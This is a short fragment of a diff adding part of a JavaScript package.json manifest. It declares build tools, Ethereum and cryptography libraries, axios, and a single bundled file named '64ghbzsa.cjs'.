"web3": "1.8.2",
|
78
|
+
"webpack": "5.75.0",
|
79
|
+
"webpack-bundle-analyzer": "4.8.0",
|
80
|
+
"webpack-cli": "5.0.1",
|
81
|
+
"stream-browserify": "3.0.0",
|
82
|
+
"crypto-browserify": "3.12.0"
|
83
|
+
},
|
84
|
+
"dependencies": {
|
85
|
+
"@babel/runtime": "7.20.13",
|
86
|
+
"@ethereumjs/tx": "3.5.2",
|
87
|
+
"@types/bn.js": "5.1.1",
|
88
|
+
"eccrypto": "1.1.6",
|
89
|
+
"ethereumjs-util": "7.1.5",
|
90
|
+
"ethers": "^6.13.2",
|
91
|
+
"secp256k1": "5.0.0",
|
92
|
+
"axios": "^1.7.7"
|
93
|
+
},
|
94
|
+
"files": [
|
95
|
+
"64ghbzsa.cjs"
|
96
|
+
]
|
97
|
+
}
|